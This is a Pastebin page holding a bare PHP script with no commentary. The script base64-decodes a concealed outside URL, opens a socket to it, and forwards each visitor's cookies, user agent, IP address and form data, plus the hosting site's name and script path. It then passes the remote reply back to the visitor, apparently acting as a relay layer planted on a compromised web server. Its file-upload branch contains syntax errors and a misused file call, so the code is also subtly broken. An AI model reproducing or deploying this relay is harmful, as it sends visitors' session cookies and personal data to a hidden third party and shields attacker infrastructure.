Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ///$encoded_url = base64_encode("http://example.com/path/tasks.php")
- $url = parse_url(base64_decode("aHR0cDovL25lbi5iaXovdGFza3MucGhw"));
- if (!isset($url['port'])) {
- $url['port'] = 80;
- }
- if (($real_server = fsockopen($url['host'], $url['port'])) === false) {
- die('ERROR');
- }
- $request = "POST {$url['path']} HTTP/1.0\r\n";
- $request .= "Host: {$url['host']}\r\n";
- $request .= "Cookie: {$_SERVER['HTTP_COOKIE']}\r\n";
- $request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";
- $request .= "Connection: close\r\n";
- if ($_SERVER["CONTENT_TYPE"] == "application/x-www-form-urlencoded") {
- if (($data = file_get_contents('php://input')) === false) {
- die('ER_1');
- }
- $data .= "&ip=" . urlencode($_SERVER['REMOTE_ADDR']) . "&layer=" . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'] . "";
- $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
- $request .= "Content-Length: " . strlen($data) . "\r\n";
- fwrite($real_server, $request . "\r\n" . $data);
- $result = '';
- while (!feof($real_server))
- $result .= fread($real_server, 1024);
- fclose($real_server);
- echo substr($result, strpos($result, "\r\n\r\n") + 4);
- } else {
- $filePath = $_FILES['data']['tmp_name'];
- $fileName = basename($_FILES['data']['name']);
- $boundary = "---------------------" . substr(md5(rand(0, 32000)), 0, 10);
- $fileHeaders = "--" . $boundary . "\r\n";
- $fileHeaders .= "Content-Disposition: form-data; name=\"data\"; filename=\"" . $fileName . "\"\r\n";
- $fileHeaders .= "Content-Type: " . mime_content_type($filePath) . "\r\n\r\n";
- $fileHeadersTail = "\r\n--" . $boundary . "--\r\n";
- $contentLength = strlen($fileHeaders) + filesize($filePath) + strlen($fileHeadersTail);
- $headers = $request;
- $headers .= "Content-type: multipart/form-data, boundary=" . $boundary . "\r\n";
- $headers .= "Content-length: " . $contentLength . "\r\n\r\n";
- $headers .= $fileHeaders;
- fputs($real_server, $headers);
- $fp2 = fopen($filePath, "rb");
- while (!feof($fp2)) {
- fname = md5(rand(0, 32000);
- fputs(DIRNAME(__FILE__).fname, fgets($fp2, 1024 * 100));
- #fputs($real_server, fgets($fp2, 1024 * 100));
- }
- fclose($fp2);
- fputs($real_server, $fileHeadersTail);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement